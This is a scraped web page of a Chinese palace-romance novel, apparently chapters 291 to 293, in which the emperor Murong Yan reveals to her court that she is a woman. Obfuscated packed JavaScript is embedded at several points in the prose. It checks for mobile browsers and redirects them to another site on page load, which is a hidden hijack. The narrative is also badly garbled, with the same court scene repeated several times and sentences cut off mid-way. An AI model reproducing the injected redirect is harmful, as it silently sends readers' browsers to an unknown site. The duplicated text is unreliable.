l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005667|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力度恰到好处,眼神专注而深情,仿若此刻这世间再无其他事能入她的眼 ,满心满眼只有林臻。 晴雯翻个白眼,轻轻在月妩蹲下去的屁股上踢了一脚。 “都出大事了!还洗脚呢!” “妹妹别乱说,夫君,您到底去哪了?” 林臻说道:“我真的一直都在宫里!” 晴雯张牙舞爪地说道:“骗人,那你嘴里怎么会有两个女人的味道!说,那两个狐媚子是谁!” 张俪好似忽然想起什么,轻声说道:“夫君,近日妾身听闻府外有些流言蜚语,难道说您.啊!” 她被自己的想法震惊到,连忙捂住嘴巴。 林臻挑眉,神色中带着几分疑惑:“哦?什么流言蜚语?” “现在坊间有传闻,说陛下是女子。” ! 林臻当即瞪大双眼。 “谁传出来的消息?” “不知道,但是现在许多百姓都在传,已经不是什么秘密了,您该不会是和陛下.” 晴雯也意识到事情的严重性,便不再作怪,蹲下身拉住林臻的手,语不惊人死不休地说道:“夫君!难道你淫乱宫闱了?” 月妩不在乎林臻做什么,她只需要得到林臻的关爱即可。 浣碧也同样如此,对林臻是不是欺负了女皇帝一点也不关心。 唯有张俪表情凝重,定睛看着林臻,等待着他的回答。 “我” 林臻犹豫了一下,然后点点头,算是承认了。 “没错,陛下是女子,而且也已经是你们的姐妹了。” “啊这.” 晴雯与张俪惊恐对视。 强迫皇帝和自己上床睡觉。 这可不是造反那么简单,这是要遗臭万年的啊! 这种事情一旦传出去,林家的名声可就全毁了!到时候恐怕就是林震仙也不会轻易饶过林臻。 张俪咬着下唇,鼓足勇气问道:“夫君,陛下是自愿的吗?” “当然,不止是陛下,还有贵妃和宁妃,都是你们姐妹。” 张俪长舒口气。 只要不是强迫的就好,否则林臻绝对会遗臭万年,他的孩子也要世世代代遭受唾骂。 “夫君,您能否告诉妾身全部过程?这样,我们也能早做准备,控制舆论。” 第292章 给朕把那些束胸都拿出去烧了 林臻见张俪一脸急切,摆摆手,脸上带着几分笃定,说道:“不用,我知道是谁传播的谣言。 “是谁? “陛下的侍女,嬛嬛。 “嬛嬛?张俪单手撑着下巴,那白皙纤细的手指如羊脂玉般温润,轻轻搭在粉嫩的脸颊旁,指节微微弯曲,仿若一朵含苞待放的玉兰花,片刻后说道:“她为什么要这么做。 “因为报复。陛下伤害了顾家,也伤害了顾北辰。而嬛嬛又是个爱顾北辰爱到骨子里的女人,所以她替顾北辰报仇,曝光陛下的身份,也在情理之中。 还有句最重要的话林臻没说。 那就是能确定慕容嫣性别的就那几个人,而除了嬛嬛之外,谁都不会说出去。 张俪又问道:“那我们该怎么办?总不能放任舆论不管吧? 林臻站起身来,负手踱步,靴跟叩击着地面,发出有节奏的声响。 很快,他停下脚步,眼中闪过一丝精明,朗声道:“我打算明日去找工部,搞个活字印刷术出来,顺势推出报纸。 此言一出,满室皆惊。 月妩和晴雯对视一眼,眼中满是疑惑,最后晴雯忍不住先开了口:“夫君,这活字印刷术是啥新奇玩意儿啊?还有您说的报纸,我们听都没听过,到底是什么呀? 月妩也在一旁轻轻点头,满是好奇。 林臻微微一笑,耐心解释道:“活字印刷术,乃是一项技艺。以往的刻板印刷,需得为每一本书籍专门雕刻一整块木板,耗时费力,若有错字,更改起来更是麻烦无比。而活字印刷术不同,它是将单个的字制成一个个小活字,排版之时按需组合,印完之后还能拆下来重复使用,如此一来,不管是印制书籍、文牒,还是咱们即将推出的报纸,效率都会大大提高,成本也能降下来。 说到这儿,林臻走到窗边,轻轻推开窗扇,夜风吹入,撩动他的发丝,仿若也吹散了些许屋内的凝重气氛。 他手指向窗外,接着说道。 “至于报纸,它就像是一个公开的消息匣子,会定期刊发。上面刊载着朝堂要事,让百姓知晓国家政令、官员任免;还有民生百态,诸如哪里的集市物价涨落、乡间又出了什么新鲜事儿;甚至还有文人墨客的佳作、各地的奇闻轶事。总之,这报纸能让大家足不出户,尽知天下事。 张俪若有所思地点点头,她心思细腻,已然开始思索其中利弊,轻声道:“夫君所言甚是,只是这报纸内容,该当如何筹备? “自然是要开间报 社。这报社就如同一个信息的汇聚地。咱们先招募文笔好的书生来执笔,再让他们深入市井、朝堂各处,收集新闻素材,无论是关乎民生的柴米油盐价格波动,还是朝堂之上大臣们的政见纷争,都要如实记录。同时再委派自己人进驻监管,确保刊发的内容有利于当下局势,如此一来,报纸就能成为民众信赖的消息源,真正发挥它的作用。” 张俪微微扬起嘴角,“如此甚好,待这报纸一出,那些谣言定会不攻自破。” 林臻却缓缓摇头,神色凝重,微微叹息道:“不,如今关于陛下是女子的谣言已经四处蔓延,事态已然失控,想要挽回几乎是不可能的了。既如此,不如就趁此机会,直接公之于众。” 四女对视一眼,皆从彼此眼中看到了震惊与担忧,房间里的气氛再次凝重起来。 张俪率先打破沉默,她眉头轻蹙,眼中满是忧虑,轻声问道:“夫君,若是群臣反对怎么办?这毕竟关乎国本,万一引发朝堂动荡……”话未说完,她的声音已然微微颤抖,显是想到了种种可怕的后果。 “有我在,没有人会反对。”林臻身姿挺拔,负手而立,带着不容置疑的气势。 议政殿内烛火摇曳,光影在墙壁上晃荡,仿若群魔乱舞,衬得气氛格外压抑。 慕容嫣身着龙袍,端坐在龙椅之上,她面色阴沉,得知自己女子的身份被嬛嬛曝光,怒火中烧,玉手紧紧攥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015296|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着龙椅扶手,指节泛白。 “你说什么?他们怀疑朕的性别?真是岂有此理!来人,命百骑司立刻调查此事,宁可杀错,绝不放过!” 声音在空旷的大殿内回荡,透着彻骨的寒意。 兵部尚书刘恺威上前一步,他身着朝服,面容沉稳,微微躬身道:“陛下息怒。如今谣言已然传开,强行隐瞒怕是适得其反。臣建议陛下还是将真相公之于众吧。” “你什么意思?连你也怀疑朕的性别?”慕容嫣定睛看着他,刘恺威把身子躬得更低了,硬着头皮回答道:“陛下,世子已经向臣说了。” “你!”慕容嫣气急,随即想到什么,脸蛋瞬间变得绯红,“这个林臻!居然什么都往外说,都不和朕商量一下!” 她以为林臻把两人在床榻欢好的事情说了出去呢,追问道:“现在怎么办?” “陛下,有世子在,就算您承认是女子身份也无所谓。世子手握重权,威望极高,他既能稳定朝堂局势,又能安抚民心。陛下不妨明日以女子形态上朝,大方承认,反倒能显出陛下的坦荡与果敢。” 刘恺威的声音不疾不徐,却字字句句都似敲在慕容嫣的心坎上。 他说得没错,有林臻在,任何人都翻不起浪花。 他就是朕最强大的后盾。 想到此处,慕容嫣不禁庆幸那天在奉先阁里的决定。 看来,是时候告诉这个世界,自己的真实身份了。 不知为何,慕容嫣竟长舒一口气,带着几分释然与解脱。 “呼,也罢,刘爱卿先回去吧。” “微臣遵旨。” 刘恺威退了出去,而此时已经是深夜了。 慕容嫣朗声喊来麝月。 “麝月!” “奴婢在。” “给朕把那些束胸都拿出去烧了,以后再也不穿了。立刻命内官重新绣制女款龙袍,要漂亮,要华丽!” “是,奴婢这就去!” 第293章 陛下万年,大乾万年! “陛下驾到!” 随着慕容无舌山呼在殿内响起,群臣瞬间整齐划一地跪地。 “吾皇万岁万岁万万岁。” 阳光透过雕花窗棂,洒下细碎的光影,仿若金色的纱幔,轻柔地披进金銮殿内。 刹那间,殿内似有光芒绽放,群臣虽不敢抬头,却也能感受到那股扑面而来的气场。 只见慕容嫣一袭华丽凤袍,金丝绣线勾勒出的凤凰振翅欲飞,栩栩如生,仿佛下一秒就要冲破这禁锢,翱翔九天。 三千青丝如瀑,仅用一支羊脂玉簪挽起,几缕碎发垂落在白皙的脖颈边,更添一抹柔媚。 那张倾世容颜未施粉黛,却明艳动人,双眸宛如璀璨星辰,透着与生俱来的尊贵与果敢,此刻,她未画胡子,也未曾故意压低嗓音,清脆婉转之声悠悠响起。 “众爱卿,平身。” “谢陛下。” 群臣如梦初醒,忙不迭地起身,可那抬起头的瞬间,眼中的震惊之色溢于言表。 不少臣子的目光像被磁石吸引,死死地黏在慕容嫣身上,仿若见了什么惊世骇俗之物。 慕容嫣朱唇轻启,嘴角勾起一抹似有若无的弧度,美目流转,扫视着台下众人,悠悠问道:“怎么,众爱卿看到朕的女儿身,很意外吗?” 这声音仿若投入平静湖面的巨石,瞬间在朝堂激起千层浪。 群臣先是一愣,继而交头接耳,议论纷纷,那嗡嗡的低语声似夏日恼人的蚊蝇,在殿内盘旋不散。 “这这可如何是好,女子称帝,从未听闻啊!” “是啊,祖宗规矩不可废,这岂不是乱了套!” “可陛下登基以来,确实颇有政绩,这又该如何评判?” 这时,翰林院大学士赵崇武手拄着乌木拐杖,花白的胡须因激动而微微颤抖,他躬身行礼后,鼓起勇气大声说道:“陛下,祖宗规矩,皇位历来由男子承袭,陛下身为女子,却隐瞒身份登基,这.这可是欺瞒祖宗,有违天道的啊!” 说罢,他浑浊的眼中竟泛起泪光,一脸痛心疾首。 慕容嫣闻言,却并未动怒。 她款步走下台阶,凤袍拖地,发出沙沙的声响,仿若奏响的战歌。 行至赵崇武面前,她微微俯身,目光直视这位老臣的眼睛,轻声道:“赵爱卿,朕问你,自朕登基以来,可曾有负江山社稷?可曾让百姓流离失所?” 赵崇武明显一愣,下意识地摇头,嘴唇动了动,却一时语塞。 没错,慕容嫣在位期间 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。 慕容嫣直起身,目光扫向众人,声调渐高:“朕以女儿身,行男子事,披星戴月,日夜操劳,为的就是这江山稳固,万民安康。若只因性别,便被否定一切,诸位爱卿,这公道吗?” 她的眼神中燃烧着火焰,那是对自身价值的笃定,对世俗偏见的宣战。 年轻气盛的御史中丞王彦之挺身而出,他身着一袭蓝色官袍,面容冷峻,剑眉倒竖,朗声道:“陛下,即便如此,女子掌权,终归名不正言不顺。朝堂之上,众臣心中难免有芥蒂,长此以往,政令不通,国将不国啊!” 慕容嫣凤眉一挑,眼中闪过一抹凌厉之色,转身快步回到龙椅前,优雅落座,冷笑道:“王爱卿,你口口声声说名不正言不顺,可朕的玉玺,是伪造的吗?朕的龙椅,是抢来的吗?这朝堂上下,哪一项决策不是朕深思熟虑、权衡利弊后的结果?” 她微微一顿,目光如炬,扫视全场。 “诸位爱卿,朕既已坦诚相告,便望尔等收起成见。莫要因循守旧,以性别论高低。你们身为朕的臣子,大乾的官员,应着眼于江山社稷,民之福祉。若因这等迂腐之念,各自为政、心生嫌隙,政令如何推行?国家又怎能昌盛?” 群臣闻言,面露惭色,纷纷低下头去。 此时,一直沉默不语的兵部尚书刘恺威上前一步,打破僵局。 “陛下圣明!陛下以女子之身,有此等魄力与担当,实乃我朝之幸,百姓之福!” “刘恺威,你如此纵容陛下,安的是什么心!这是对百姓的不负责任!”王彦之立刻跳出来阻拦。 刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。 慕容嫣直起身,目光扫向众人,声调渐高:“朕以女儿身,行男子事,披星戴月,日夜操劳,为的就是这江山稳固,万民安康。若只因性别,便被否定一切,诸位爱卿,这公道吗?” 她的眼神中燃烧着火焰,那是对自身价值的笃定,对世俗偏见的宣战。 年轻气盛的御史中丞王彦之挺身而出,他身着一袭蓝色官袍,面容冷峻,剑眉倒竖,朗声道:“陛下,即便如此,女子掌权,终归名不正言不顺。朝堂之上,众臣心中难免有芥蒂,长此以往,政令不通,国将不国啊!” 慕容嫣凤眉一挑,眼中闪过一抹凌厉之色,转身快步回到龙椅前,优雅落座,冷笑道:“王爱卿,你口口声声说名不正言不顺,可朕的玉玺,是伪造的吗?朕的龙椅,是抢来的吗?这朝堂上下,哪一项决策不是朕深思熟虑、权衡利弊后的结果?” 她微微一顿,目光如炬,扫视全场。 “诸位爱卿,朕既已坦诚相告,便望尔等收起成见。莫要因循守旧,以性别论高低。你们身为朕的臣子,大乾的官员,应着眼于江山社稷,民之福祉。若因这等迂腐之念,各自为政、心生嫌隙,政令如何推行?国家又怎能昌盛?” 群臣闻言,面露惭色,纷纷低下头去。 此时,一直沉默不语的兵部尚书刘恺威上前一步,打破僵局。 “陛下圣明!陛下以女子之身,有此等魄力与担当,实乃我朝之幸,百姓之福!” “刘恺威,你如此纵容陛下,安的是什么心!这是对百姓的不负责任!”王彦之立刻跳出来阻拦。 刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。 慕容嫣直起身,目光扫向众人,声调渐高:“朕以女儿身,行男子事,披星戴月,日夜操劳,为的就是这江山稳固,万民安康。若只因性别,便被否定一切,诸位爱卿,这公道吗?” 她的眼神中燃烧着火焰,那是对自身价值的笃定,对世俗偏见的宣战。 年轻气盛的御史中丞王彦之挺身而出,他身着一袭蓝色官袍,面容冷峻,剑眉倒竖,朗声道:“陛下,即便如此,女子掌权,终归名不正言不顺。朝堂之上,众臣心中难免有芥蒂,长此以往,政令不通,国将不国啊!” 慕容嫣凤眉一挑,眼中闪过一抹凌厉之色,转身快步回到龙椅前,优雅落座,冷笑道:“王爱卿,你口口声声说名不正言不顺,可朕的玉玺,是伪造的吗?朕的龙椅,是抢来的吗?这朝堂上下,哪一项决策不是朕深思熟虑、权衡利弊后的结果?” 她微微一顿,目光如炬,扫视全场。 “诸位爱卿,朕既已坦诚相告,便望尔等收起成见。莫要因循守旧,以性别论高低。你们身为朕的臣子,大乾的官员,应着眼于江山社稷,民之福祉。若因这等迂腐之念,各自为政、心生嫌隙,政令如何推行?国家又怎能昌盛?” 群臣闻言,面露惭色,纷纷低下头去。 此时,一直沉默不语的兵部尚书刘恺威上前一步,打破僵局。 “陛下圣明!陛下以女子之身,有此等魄力与担当,实乃我朝之幸,百姓之福!” “刘恺威,你如此纵容陛下,安的是什么心!这是对百姓的不负责任!”王彦之立刻跳出来阻拦。 刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。 慕容嫣直起身,目光扫向众人,声调渐高:“朕以女儿身,行男子事,披星戴月,日夜操劳,为的就是这江山稳固,万民安康。若只因性别,便被否定一切,诸位爱卿,这公道吗?” 她的眼神中燃烧着火焰,那是对自身价值的笃定,对世俗偏见的宣战。 年轻气盛的御史中丞王彦之挺身而出,他身着一袭蓝色官袍,面容冷峻,剑眉倒竖,朗声道:“陛下,即便如此,女子掌权,终归名不正言不顺。朝堂之上,众臣心中难免有芥蒂,长此以往,政令不通,国将不国啊!” 慕容嫣凤眉一挑,眼中闪过一抹凌厉之色,转身快步回到龙椅前,优雅落座,冷笑道:“王爱卿,你口口声声说名不正言不顺,可朕的玉玺,是伪造的吗?朕的龙椅,是抢来的吗?这朝堂上下,哪一项决策不是朕深思熟虑、权衡利弊后的结果?” 她微微一顿,目光如炬,扫视全场。 “诸位爱卿,朕既已坦诚相告,便望尔等收起成见。莫要因循守旧,以性别论高低。你们身为朕的臣子,大乾的官员,应着眼于江山社稷,民之福祉。若因这等迂腐之念,各自为政、心生嫌隙,政令如何推行?国家又怎能昌盛?” 群臣闻言,面露惭色,纷纷低下头去。 此时,一直沉默不语的兵部尚书刘恺威上前一步,打破僵局。 “陛下圣明!陛下以女子之身,有此等魄力与担当,实乃我朝之幸,百姓之福!” “刘恺威,你如此纵容陛下,安的是什么心!这是对百姓的不负责任!”王彦之立刻跳出来阻拦。 刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。 慕容嫣直起身,目光扫向众人,声调渐高:“朕以女儿身,行男子事,披星戴月,日夜操劳,为的就是这江山稳固,万民安康。若只因性别,便被否定一切,诸位爱卿,这公道吗?” 她的眼神中燃烧着火焰,那是对自身价值的笃定,对世俗偏见的宣战。 年轻气盛的御史中丞王彦之挺身而出,他身着一袭蓝色官袍,面容冷峻,剑眉倒竖,朗声道:“陛下,即便如此,女子掌权,终归名不正言不顺。朝堂之上,众臣心中难免有芥蒂,长此以往,政令不通,国将不国啊!” 慕容嫣凤眉一挑,眼中闪过一抹凌厉之色,转身快步回到龙椅前,优雅落座,冷笑道:“王爱卿,你口口声声说名不正言不顺,可朕的玉玺,是伪造的吗?朕的龙椅,是抢来的吗?这朝堂上下,哪一项决策不是朕深思熟虑、权衡利弊后的结果?” 她微微一顿,目光如炬,扫视全场。 “诸位爱卿,朕既已坦诚相告,便望尔等收起成见。莫要因循守旧,以性别论高低。你们身为朕的臣子,大乾的官员,应着眼于江山社稷,民之福祉。若因这等迂腐之念,各自为政、心生嫌隙,政令如何推行?国家又怎能昌盛?” 群臣闻言,面露惭色,纷纷低下头去。 此时,一直沉默不语的兵部尚书刘恺威上前一步,打破僵局。 “陛下圣明!陛下以女子之身,有此等魄力与担当,实乃我朝之幸,百姓之福!” “刘恺威,你如此纵容陛下,安的是什么心!这是对百姓的不负责任!”王彦之立刻跳出来阻拦。 刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 提及林臻,她心中确实又多了几分底气。 最后丞相司马忠也走出来说道。 “臣愿为陛下、为大乾,肝脑涂地,鞠躬尽瘁!陛下万年,大乾万年!”言罢他带头跪了下去。 丞相、兵部尚书、工部尚书都已表态,并且带头下跪。 明眼人都知道,慕容嫣以女子身份当皇帝这个事实,谁也改变不了了。 这个时候,谁再乱跳,谁就会死。 群臣立刻下跪叩首,齐声喊道:“陛下万年,大乾万年!” “哈哈哈哈哈,众爱卿平身!” “谢陛下!” 没有人知道,慕容嫣的掌心已经渗出细汗。 她真的很担心群臣会反对她,但是没想到,刘恺威几句话就止住了议论,更震慑住群臣。 她这个皇位,稳了。 ,励精图治,推行了诸多利民新政,又查办贪官使得国库充盈,现在整个大乾的百姓都在感谢慕容嫣。 更别说自慕容嫣登基以后,大乾国力迅速恢复,竟能支持林震仙一路南下打得南楚落花流水,甚至还能以五千破十万,保边境安稳,百姓安居乐业。 这样的皇帝,没错啊。 慕容嫣直起身,目光扫向众人,声调渐高:“朕以女儿身,行男子事,披星戴月,日夜操劳,为的就是这江山稳固,万民安康。若只因性别,便被否定一切,诸位爱卿,这公道吗?” 她的眼神中燃烧着火焰,那是对自身价值的笃定,对世俗偏见的宣战。 年轻气盛的御史中丞王彦之挺身而出,他身着一袭蓝色官袍,面容冷峻,剑眉倒竖,朗声道:“陛下,即便如此,女子掌权,终归名不正言不顺。朝堂之上,众臣心中难免有芥蒂,长此以往,政令不通,国将不国啊!” 慕容嫣凤眉一挑,眼中闪过一抹凌厉之色,转身快步回到龙椅前,优雅落座,冷笑道:“王爱卿,你口口声声说名不正言不顺,可朕的玉玺,是伪造的吗?朕的龙椅,是抢来的吗?这朝堂上下,哪一项决策不是朕深思熟虑、权衡利弊后的结果?” 她微微一顿,目光如炬,扫视全场。 “诸位爱卿,朕既已坦诚相告,便望尔等收起成见。莫要因循守旧,以性别论高低。你们身为朕的臣子,大乾的官员,应着眼于江山社稷,民之福祉。若因这等迂腐之念,各自为政、心生嫌隙,政令如何推行?国家又怎能昌盛?” 群臣闻言,面露惭色,纷纷低下头去。 此时,一直沉默不语的兵部尚书刘恺威上前一步,打破僵局。 “陛下圣明!陛下以女子之身,有此等魄力与担当,实乃我朝之幸,百姓之福!” “刘恺威,你如此纵容陛下,安的是什么心!这是对百姓的不负责任!”王彦之立刻跳出来阻拦。 刘恺威微微看了他一眼,然后又看向慕容嫣。 “呵。且看当今之势,内有陛下殚精竭虑,外有世子雄才大略、威震八方!世子手握重兵,麾下将士皆为精锐,对陛下忠心耿耿!朝堂上下,军中内外,谁人不知世子之名,谁人不服世子之威!” 这话说是对慕容嫣说的,倒不如是说是对群臣说的。 没错,刘恺威今天就是要替林臻,守护好朝堂舆论! 闻言,宋正林也站出来说道:“启奏陛下,臣也认为刘大人说得在理,臣望诸位同僚能看清局势,莫要因性别一事,在心中种下分裂的种子。若有谁敢心怀不轨,忤逆陛下,世子必不会袖手旁观,定当以雷霆之势,让其粉身碎骨!到那时,可莫怪世子铁面无情,也莫要悔不当初!” 慕容嫣微微点头,眼中闪过一丝欣慰。 